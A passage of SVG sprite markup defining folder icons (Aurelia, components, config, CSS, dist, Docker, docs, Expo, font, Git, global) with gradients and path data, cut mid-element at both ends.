xlink:href="#cod"/><linearGradient id="com" x1="-14.029" x2="41.998" y1="-23.111" y2="26.259" gradientTransform="scale(1.0003 .99965)" gradientUnits="userSpaceOnUse" xlink:href="#coe"/><linearGradient id="con" x1="31.177" x2="3.37" y1="41.442" y2="3.402" gradientTransform="scale(.96254 1.0389)" gradientUnits="userSpaceOnUse" xlink:href="#cof"/><linearGradient id="coo" x1="-31.905" x2="19.599" y1="-14.258" y2="42.767" gradientTransform="scale(.95823 1.0436)" gradientUnits="userSpaceOnUse" xlink:href="#cog"/><linearGradient id="cop" x1="4.301" x2="34.534" y1="34.41" y2="4.514" gradientTransform="scale(1.002 .99796)" gradientUnits="userSpaceOnUse" xlink:href="#coh"/><linearGradient id="coh" x1=".112" x2=".901" y1=".897" y2=".116"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".53"/><stop stop-color="#CD0F7E" offset=".79"/><stop stop-color="#ED2C89" offset="1"/></linearGradient></defs><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#f06292" fill-rule="nonzero"/><g transform="matrix(.31022 .0619 -.0619 .31022 11.807 7.546)" fill="none"><path d="M8.002 6.127L4.117 8.719.116 2.723 4 .13z" transform="rotate(-11.284 17.839 -78.732)" fill="url(#coi)"/><path d="M9.179 1.887l6.637 9.946-7.906 5.276-6.637-9.946L.115 5.43 8.02.153z" transform="rotate(-11.284 129.49 -99.884)" fill="url(#coj)"/><path d="M7.3 1.88l1.462 2.189-6.018 4.015L.124 4.16l1.315-.877L6.143.144z" transform="rotate(-11.284 167.2 -62.32)" fill="url(#cok)"/><path d="M2.328 1.146L4.016.02l2.619 3.925L2.75 6.537 1.29 4.347l2.197-1.466zm-1.04 3.201L.132 2.612l2.197-1.466 1.158 1.735z" transform="rotate(-11.284 104.37 -149.22)" fill="url(#col)"/><path d="M5.346 9.155l-1.315.877L.03 4.035 6.047.019l2.805 4.204L4.15 7.36l4.703-3.138 1.197 1.793z" transform="rotate(-11.284 81.819 7.645)" fill="url(#com)"/><path d="M14.533 9.934l1.197 1.793-7.907 5.276-1.196-1.793L.052 5.358 7.958.082z" transform="rotate(-11.284 17.141 -7.825)" fill="url(#con)"/><path d="M6.235 7.177L4.038 8.643 2.84 6.849.036 2.646 3.92.053 7.923 6.05z" transform="rotate(-11.284 18.188 -79.174)" fill="url(#coo)"/><path d="M18.955 35.925L17.48 34.45l3.998-3.998 1.475 1.475z" fill="#714896"/><path d="M33.33 21.55l-1.475-1.474 1.867-1.868 1.475 1.475z" fill="#6f4795"/><path d="M7.12 24.09l-1.525-1.525 3.998-3.998 1.525 1.525z" fill="#88519f"/><path d="M21.495 9.714L19.97 8.19l1.868-1.868 1.524 1.525z" fill="#85509e"/><path d="M31.418 23.462l-6.72 6.72-1.475-1.474 6.72-6.721z" fill="#8d166a"/><path d="M18.058 10.101l1.525 1.525-6.721 6.72-1.525-1.524z" fill="#a70d6f"/><path d="M2.375 11.769l1.9 1.9-1.9 1.901-1.901-1.9z" fill="#9e61ad"/><path d="M15.523 36.482l1.9 1.9-1.9 1.901-1.9-1.9z" fill="#8053a3"/><path d="M8.372 38.294L.017 29.876 29.749.08l8.636 8.201z" transform="translate(1.823 1.548)" fill="url(#cop)"/></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-aurelia-open" xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="cpi" x1="-31.824" x2="19.682" y1="-11.741" y2="35.548" gradientTransform="scale(.95818 1.0436)" gradientUnits="userSpaceOnUse" xlink:href="#cpa"/><linearGradient id="cpa" x1="-3.881" x2="2.377" y1="-1.442" y2="4.304"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cpj" x1="12.022" x2="-15.716" y1="13.922" y2="-23.952" gradientTransform="scale(.96226 1.0392)" gradientUnits="userSpaceOnUse" xlink:href="#cpb"/><linearGradient id="cpb" x1=".729" x2="-.971" y1=".844" y2="-1.477"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".29"/><stop stop-color="#CD0F7E" offset=".84"/><stop stop-color="#ED2C89" offset="1"/></linearGradient><linearGradient id="cpk" x1="-23.39" x2="23.931" y1="-57.289" y2="8.573" gradientTransform="scale(1.0429 .95884)" gradientUnits="userSpaceOnUse" xlink:href="#cpc"/><linearGradient id="cpc" x1="-2.839" x2="2.875" y1="-6.936" y2="1.017"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cpl" x1="-53.331" x2="6.771" y1="-30.517" y2="18.785" gradientTransform="scale(.99898 1.001)" gradientUnits="userSpaceOnUse" xlink:href="#cpd"/><linearGradient id="cpd" x1="-8.212" x2="1.02" y1="-4.691" y2="2.882"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cpm" x1="-14.029" x2="41.998" y1="-23.111" y2="26.259" gradientTransform="scale(1.0003 .99965)" gradientUnits="userSpaceOnUse" xlink:href="#cpe"/><linearGradient id="cpe" x1="-1.404" x2="4.19" y1="-2.309" y2="2.62"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cpn" x1="31.177" x2="3.37" y1="41.442" y2="3.402" gradientTransform="scale(.96254 1.0389)" gradientUnits="userSpaceOnUse" xlink:href="#cpf"/><linearGradient id="cpf" x1="1.911" x2=".204" y1="2.539" y2=".204"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".29"/><stop stop-color="#CD0F7E" offset=".84"/><stop stop-color="#ED2C89" offset="1"/></linearGradient><linearGradient id="cpo" x1="-31.905" x2="19.599" y1="-14.258" y2="42.767" gradientTransform="scale(.95823 1.0436)" gradientUnits="userSpaceOnUse" xlink:href="#cpg"/><linearGradient id="cpg" x1="-3.881" x2="2.377" y1="-1.738" y2="5.19"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cpp" x1="4.301" x2="34.534" y1="34.41" y2="4.514" gradientTransform="scale(1.002 .99796)" gradientUnits="userSpaceOnUse" xlink:href="#cph"/><linearGradient id="cph" x1=".112" x2=".901" y1=".897" y2=".116"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".53"/><stop stop-color="#CD0F7E" offset=".79"/><stop stop-color="#ED2C89" offset="1"/></linearGradient></defs><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#f06292" fill-rule="nonzero"/><g transform="matrix(.31022 .0619 -.0619 .31022 11.807 7.546)" fill="none"><path d="M8.002 6.127L4.117 8.719.116 2.723 4 .13z" transform="rotate(-11.284 17.839 -78.732)" fill="url(#cpi)"/><path d="M9.179 1.887l6.637 9.946-7.906 5.276-6.637-9.946L.115 5.43 8.02.153z" transform="rotate(-11.284 129.49 -99.884)" fill="url(#cpj)"/><path d="M7.3 1.88l1.462 2.189-6.018 4.015L.124 4.16l1.315-.877L6.143.144z" transform="rotate(-11.284 167.2 -62.32)" fill="url(#cpk)"/><path d="M2.328 1.146L4.016.02l2.619 3.925L2.75 6.537 1.29 4.347l2.197-1.466zm-1.04 3.201L.132 2.612l2.197-1.466 1.158 1.735z" transform="rotate(-11.284 104.37 -149.22)" fill="url(#cpl)"/><path d="M5.346 9.155l-1.315.877L.03 4.035 6.047.019l2.805 4.204L4.15 7.36l4.703-3.138 1.197 1.793z" transform="rotate(-11.284 81.819 7.645)" fill="url(#cpm)"/><path d="M14.533 9.934l1.197 1.793-7.907 5.276-1.196-1.793L.052 5.358 7.958.082z" transform="rotate(-11.284 17.141 -7.825)" fill="url(#cpn)"/><path d="M6.235 7.177L4.038 8.643 2.84 6.849.036 2.646 3.92.053 7.923 6.05z" transform="rotate(-11.284 18.188 -79.174)" fill="url(#cpo)"/><path d="M18.955 35.925L17.48 34.45l3.998-3.998 1.475 1.475z" fill="#714896"/><path d="M33.33 21.55l-1.475-1.474 1.867-1.868 1.475 1.475z" fill="#6f4795"/><path d="M7.12 24.09l-1.525-1.525 3.998-3.998 1.525 1.525z" fill="#88519f"/><path d="M21.495 9.714L19.97 8.19l1.868-1.868 1.524 1.525z" fill="#85509e"/><path d="M31.418 23.462l-6.72 6.72-1.475-1.474 6.72-6.721z" fill="#8d166a"/><path d="M18.058 10.101l1.525 1.525-6.721 6.72-1.525-1.524z" fill="#a70d6f"/><path d="M2.375 11.769l1.9 1.9-1.9 1.901-1.901-1.9z" fill="#9e61ad"/><path d="M15.523 36.482l1.9 1.9-1.9 1.901-1.9-1.9z" fill="#8053a3"/><path d="M8.372 38.294L.017 29.876 29.749.08l8.636 8.201z" transform="translate(1.823 1.548)" fill="url(#cpp)"/></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-components" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#cddc39" fill-rule="nonzero"/><path d="M11.185 9.613h5.346v2.9l3.782-3.775 3.775 3.775-3.775 3.782h2.9v5.346h-5.346v-5.346h2.446l-3.782-3.782v2.446h-5.346V9.613m0 6.682h5.346v5.346h-5.346z" fill="#f0f4c3" stroke-width=".668"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-components-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#cddc39"/><path d="M11.185 9.613h5.346v2.9l3.782-3.775 3.775 3.775-3.775 3.782h2.9v5.346h-5.346v-5.346h2.446l-3.782-3.782v2.446h-5.346V9.613m0 6.682h5.346v5.346h-5.346z" fill="#f0f4c3" stroke-width=".668"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-config" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#00acc1" fill-rule="nonzero"/><path d="M17.293 17.786a2.308 2.308 0 0 1-2.308-2.308 2.308 2.308 0 0 1 2.308-2.307 2.308 2.308 0 0 1 2.308 2.307 2.308 2.308 0 0 1-2.308 2.308m4.899-1.668c.026-.211.046-.422.046-.64 0-.217-.02-.435-.046-.659l1.391-1.075a.333.333 0 0 0 .08-.422l-1.32-2.28c-.079-.146-.257-.205-.402-.146l-1.641.66a4.779 4.779 0 0 0-1.115-.647l-.244-1.747a.333.333 0 0 0-.33-.277h-2.637a.333.333 0 0 0-.33.277l-.243 1.747a4.78 4.78 0 0 0-1.114.646l-1.642-.659a.324.324 0 0 0-.402.145l-1.319 2.281a.325.325 0 0 0 .08.422l1.39 1.075c-.026.224-.046.442-.046.66s.02.428.046.639l-1.39 1.094a.325.325 0 0 0-.08.422l1.319 2.282c.079.145.257.197.402.145l1.642-.666c.342.264.698.488 1.114.653l.244 1.747a.333.333 0 0 0 .33.277h2.637a.333.333 0 0 0 .33-.277l.243-1.747a4.802 4.802 0 0 0 1.115-.653l1.641.666c.145.052.323 0 .403-.145l1.318-2.282a.333.333 0 0 0-.079-.422z" fill="#80deea" stroke-width=".659"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-config-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#00acc1"/><path d="M17.293 17.786a2.308 2.308 0 0 1-2.308-2.308 2.308 2.308 0 0 1 2.308-2.307 2.308 2.308 0 0 1 2.308 2.307 2.308 2.308 0 0 1-2.308 2.308m4.899-1.668c.026-.211.046-.422.046-.64 0-.217-.02-.435-.046-.659l1.391-1.075a.333.333 0 0 0 .08-.422l-1.32-2.28c-.079-.146-.257-.205-.402-.146l-1.641.66a4.779 4.779 0 0 0-1.115-.647l-.244-1.747a.333.333 0 0 0-.33-.277h-2.637a.333.333 0 0 0-.33.277l-.243 1.747a4.78 4.78 0 0 0-1.114.646l-1.642-.659a.324.324 0 0 0-.402.145l-1.319 2.281a.325.325 0 0 0 .08.422l1.39 1.075c-.026.224-.046.442-.046.66s.02.428.046.639l-1.39 1.094a.325.325 0 0 0-.08.422l1.319 2.282c.079.145.257.197.402.145l1.642-.666c.342.264.698.488 1.114.653l.244 1.747a.333.333 0 0 0 .33.277h2.637a.333.333 0 0 0 .33-.277l.243-1.747a4.802 4.802 0 0 0 1.115-.653l1.641.666c.145.052.323 0 .403-.145l1.318-2.282a.333.333 0 0 0-.079-.422z" fill="#80deea" stroke-width=".659"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-css" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#42a5f5" fill-rule="nonzero"/><path d="M12.488 9.415l-.44 2.259h9.188l-.298 1.46h-9.18l-.447 2.251H20.5l-.514 2.576-3.705 1.224-3.211-1.224.223-1.109h-2.258l-.534 2.704 5.307 2.029 6.118-2.029.812-4.076.162-.818 1.041-5.247H12.488z" fill-rule="nonzero" fill="#bbdefb"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-css-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#42a5f5" fill-rule="nonzero"/><path d="M12.488 9.415l-.44 2.259h9.188l-.298 1.46h-9.18l-.447 2.251H20.5l-.514 2.576-3.705 1.224-3.211-1.224.223-1.109h-2.258l-.534 2.704 5.307 2.029 6.118-2.029.812-4.076.162-.818 1.041-5.247H12.488z" fill-rule="nonzero" fill="#bbdefb"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-dist" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#e57373" fill-rule="nonzero"/><path d="M18.575 11.113h-2.576V9.825h2.576m3.864 1.288h-2.576V9.825l-1.288-1.288h-2.576L14.71 9.825v1.288h-2.577c-.715 0-1.288.573-1.288 1.288v7.085a1.288 1.288 0 0 0 1.288 1.288H22.44a1.288 1.288 0 0 0 1.288-1.288V12.4c0-.715-.58-1.288-1.288-1.288z" fill="#ffcdd2" stroke-width=".644"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-dist-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#e57373"/><path d="M18.575 11.113h-2.576V9.825h2.576m3.864 1.288h-2.576V9.825l-1.288-1.288h-2.576L14.71 9.825v1.288h-2.577c-.715 0-1.288.573-1.288 1.288v7.085a1.288 1.288 0 0 0 1.288 1.288H22.44a1.288 1.288 0 0 0 1.288-1.288V12.4c0-.715-.58-1.288-1.288-1.288z" fill="#ffcdd2" fill-rule="evenodd" stroke-width=".644"/></symbol><symbol id="folder-docker" clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><defs id="cydefs10"><path id="cySVGID_2_" d="M8.7 24c-1.1 0-2.1-.9-2.1-2s.9-2 2.1-2 2.1.9 2.1 2-1 2-2.1 2zm25.8-10.9c-.2-1.6-1.2-2.9-2.5-3.9l-.5-.4-.4.5c-.8.9-1.1 2.5-1 3.7.1.9.4 1.8.9 2.5-.4.2-.9.4-1.3.6-.9.3-1.8.4-2.7.4H1.1l-.1.6c-.2 1.9.1 3.9.9 5.7l.4.7v.1c2.4 4 6.7 5.8 11.4 5.8 9 0 16.4-3.9 19.9-12.3 2.3.1 4.6-.5 5.7-2.7l.3-.5-.5-.3c-1.3-.8-3.1-.9-4.6-.5zm-12.9-1.6h-3.9v3.9h3.9zm0-4.9h-3.9v3.9h3.9zm0-5h-3.9v3.9h3.9zm4.8 9.9h-3.9v3.9h3.9zm-14.5 0H8v3.9h3.9zm4.9 0h-3.9v3.9h3.9zm-9.7 0H3.2v3.9h3.9zm9.7-4.9h-3.9v3.9h3.9zm-4.9 0H8v3.9h3.9z"/></defs><path id="cypath2" d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#039be5" fill-rule="nonzero"/><style id="cystyle2">.cyst0{fill:#fff}.cyst1{clip-path:url(#cySVGID_4_)}</style><g id="cyg34" transform="translate(8.319 9.626) scale(.39491)" fill="#b3e5fc"><g id="cyg32"><g id="cyg30"><title id="cytitle4">Group 3</title><g id="cyg28"><g id="cyg26"><g id="cyg9"><path id="cySVGID_1_" class="cyst0" d="M8.7 24c-1.1 0-2.1-.9-2.1-2s.9-2 2.1-2 2.1.9 2.1 2-1 2-2.1 2zm25.8-10.9c-.2-1.6-1.2-2.9-2.5-3.9l-.5-.4-.4.5c-.8.9-1.1 2.5-1 3.7.1.9.4 1.8.9 2.5-.4.2-.9.4-1.3.6-.9.3-1.8.4-2.7.4H1.1l-.1.6c-.2 1.9.1 3.9.9 5.7l.4.7v.1c2.4 4 6.7 5.8 11.4 5.8 9 0 16.4-3.9 19.9-12.3 2.3.1 4.6-.5 5.7-2.7l.3-.5-.5-.3c-1.3-.8-3.1-.9-4.6-.5zm-12.9-1.6h-3.9v3.9h3.9zm0-4.9h-3.9v3.9h3.9zm0-5h-3.9v3.9h3.9zm4.8 9.9h-3.9v3.9h3.9zm-14.5 0H8v3.9h3.9zm4.9 0h-3.9v3.9h3.9zm-9.7 0H3.2v3.9h3.9zm9.7-4.9h-3.9v3.9h3.9zm-4.9 0H8v3.9h3.9z"/></g><g id="cyg24"><clipPath id="cySVGID_4_"><use id="cyuse14" width="100%" height="100%" xlink:href="#cySVGID_2_"/></clipPath><g id="cyg22" class="cyst1" clip-path="url(#cySVGID_4_)"><g id="cyg20"><g id="cyg18"><path id="cySVGID_3_" class="cyst0" d="M-48.8-21H1226v151.4H-48.8z"/></g></g></g></g></g></g></g></g></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-docker-open" xmlns="http://www.w3.org/2000/svg"><defs><clipPath id="cza"><use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#SVGID_2_"/></clipPath></defs><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#039be5"/><g transform="matrix(.3949 0 0 .39489 8.319 9.626)" fill="#b3e5fc"><title>Group 3</title><path class="czst0" d="M8.7 24c-1.1 0-2.1-.9-2.1-2s.9-2 2.1-2 2.1.9 2.1 2-1 2-2.1 2zm25.8-10.9c-.2-1.6-1.2-2.9-2.5-3.9l-.5-.4-.4.5c-.8.9-1.1 2.5-1 3.7.1.9.4 1.8.9 2.5-.4.2-.9.4-1.3.6-.9.3-1.8.4-2.7.4H1.1l-.1.6c-.2 1.9.1 3.9.9 5.7l.4.7v.1c2.4 4 6.7 5.8 11.4 5.8 9 0 16.4-3.9 19.9-12.3 2.3.1 4.6-.5 5.7-2.7l.3-.5-.5-.3c-1.3-.8-3.1-.9-4.6-.5zm-12.9-1.6h-3.9v3.9h3.9zm0-4.9h-3.9v3.9h3.9zm0-5h-3.9v3.9h3.9zm4.8 9.9h-3.9v3.9h3.9zm-14.5 0H8v3.9h3.9zm4.9 0h-3.9v3.9h3.9zm-9.7 0H3.2v3.9h3.9zm9.7-4.9h-3.9v3.9h3.9zm-4.9 0H8v3.9h3.9z"/><g class="czst1" clip-path="url(#cza)"><path class="czst0" d="M-48.8-21H1226v151.4H-48.8z"/></g></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-docs" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#0277bd" fill-rule="nonzero"/><path d="M18.575 12.859h3.713l-3.713-3.713v3.713M13.85 8.134h5.4l4.05 4.05v8.1c0 .74-.61 1.35-1.35 1.35h-8.1a1.35 1.35 0 0 1-1.35-1.35v-10.8c0-.75.6-1.35 1.35-1.35m6.075 10.8v-1.35H13.85v1.35h6.075m2.025-2.7v-1.35h-8.1v1.35h8.1z" fill-rule="nonzero" fill="#b3e5fc"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-docs-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#0277bd" fill-rule="nonzero"/><path d="M18.575 12.859h3.713l-3.713-3.713v3.713M13.85 8.134h5.4l4.05 4.05v8.1c0 .74-.61 1.35-1.35 1.35h-8.1a1.35 1.35 0 0 1-1.35-1.35v-10.8c0-.75.6-1.35 1.35-1.35m6.075 10.8v-1.35H13.85v1.35h6.075m2.025-2.7v-1.35h-8.1v1.35h8.1z" fill-rule="nonzero" fill="#b3e5fc"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-expo" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#01579b" fill-rule="nonzero"/><style>.dcst0{fill:#1173b6}.st1{fill:#585d67}</style><path class="dcst0" d="M18.575 9.82c-.489-.745-.605-.844-1.6-.844h-.024c-.996 0-1.106.099-1.601.844-.46.699-5.024 9.058-5.024 9.291 0 .338.087.658.402 1.112.32.46.873.716 1.275.309.273-.274 3.201-5.321 4.616-7.23a.425.425 0 0 1 .693 0c1.414 1.909 4.343 6.956 4.616 7.23.402.407.955.15 1.275-.309.314-.454.402-.774.402-1.112-.006-.233-4.57-8.598-5.03-9.291z" fill="#1173b6" stroke-width=".058"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-expo-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#01579b"/><path class="ddst0" d="M18.575 9.82c-.489-.745-.605-.844-1.6-.844h-.024c-.996 0-1.106.099-1.601.844-.46.699-5.024 9.058-5.024 9.291 0 .338.087.658.402 1.112.32.46.873.716 1.275.309.273-.274 3.201-5.321 4.616-7.23a.425.425 0 0 1 .693 0c1.414 1.909 4.343 6.956 4.616 7.23.402.407.955.15 1.275-.309.314-.454.402-.774.402-1.112-.006-.233-4.57-8.598-5.03-9.291z" fill="#1173b6" stroke-width=".058" fill-rule="evenodd"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-font" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ef9a9a" fill-rule="nonzero"/><path d="M14.62 17.403l2.38-6.33 2.37 6.33m-3.37-9l-5.5 14h2.25l1.12-3h6.25l1.13 3h2.25l-5.5-14h-2z" fill="#f44336" fill-rule="nonzero"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-font-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ef9a9a" fill-rule="nonzero"/><path d="M14.62 17.403l2.38-6.33 2.37 6.33m-3.37-9l-5.5 14h2.25l1.12-3h6.25l1.13 3h2.25l-5.5-14h-2z" fill="#f44336" fill-rule="nonzero"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-git" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ff8a65" fill-rule="nonzero"/><path d="M10.43 14.14l4.044-4.052 1.183 1.19a1.387 1.387 0 0 0 .65 1.56v3.877c-.42.238-.699.693-.699 1.21 0 .768.632 1.4 1.4 1.4.767 0 1.4-.632 1.4-1.4 0-.517-.28-.972-.7-1.21v-3.4l1.448 1.462c-.05.105-.05.224-.05.35 0 .767.633 1.399 1.4 1.399.768 0 1.4-.632 1.4-1.4 0-.767-.632-1.4-1.4-1.4-.126 0-.245 0-.35.05l-1.798-1.799a1.385 1.385 0 0 0-.805-1.637c-.3-.112-.615-.14-.895-.063l-1.19-1.183.553-.545a1.381 1.381 0 0 1 1.973 0l5.591 5.59a1.381 1.381 0 0 1 0 1.974l-5.59 5.591a1.381 1.381 0 0 1-1.974 0l-5.591-5.59a1.381 1.381 0 0 1 0-1.974z" fill="#e64a19" fill-rule="nonzero"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-git-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ff8a65" fill-rule="nonzero"/><path d="M10.43 14.14l4.044-4.052 1.183 1.19a1.387 1.387 0 0 0 .65 1.56v3.877c-.42.238-.699.693-.699 1.21 0 .768.632 1.4 1.4 1.4.767 0 1.4-.632 1.4-1.4 0-.517-.28-.972-.7-1.21v-3.4l1.448 1.462c-.05.105-.05.224-.05.35 0 .767.633 1.399 1.4 1.399.768 0 1.4-.632 1.4-1.4 0-.767-.632-1.4-1.4-1.4-.126 0-.245 0-.35.05l-1.798-1.799a1.385 1.385 0 0 0-.805-1.637c-.3-.112-.615-.14-.895-.063l-1.19-1.183.553-.545a1.381 1.381 0 0 1 1.973 0l5.591 5.59a1.381 1.381 0 0 1 0 1.974l-5.59 5.591a1.381 1.381 0 0 1-1.974 0l-5.591-5.59a1.381 1.381 0 0 1 0-1.974z" fill="#e64a19" fill-rule="nonzero"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-global" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#5c6bc0" fill-rule="nonzero"/><path d="M21.132 18.585a1.22 1.22 0 0 0-1.156-.846h-.609v-1.825a.608.608 0 0 0-.608-.609h-3.65v-1.217h1.216a.608.608 0 0 0 .609-.608v-1.217h1.217a1.217 1.217 0 0 0 1.216-1.217v-.25a4.858 4.858 0 0 1 1.765 7.79m-4.198 1.545a4.86 4.86 0 0 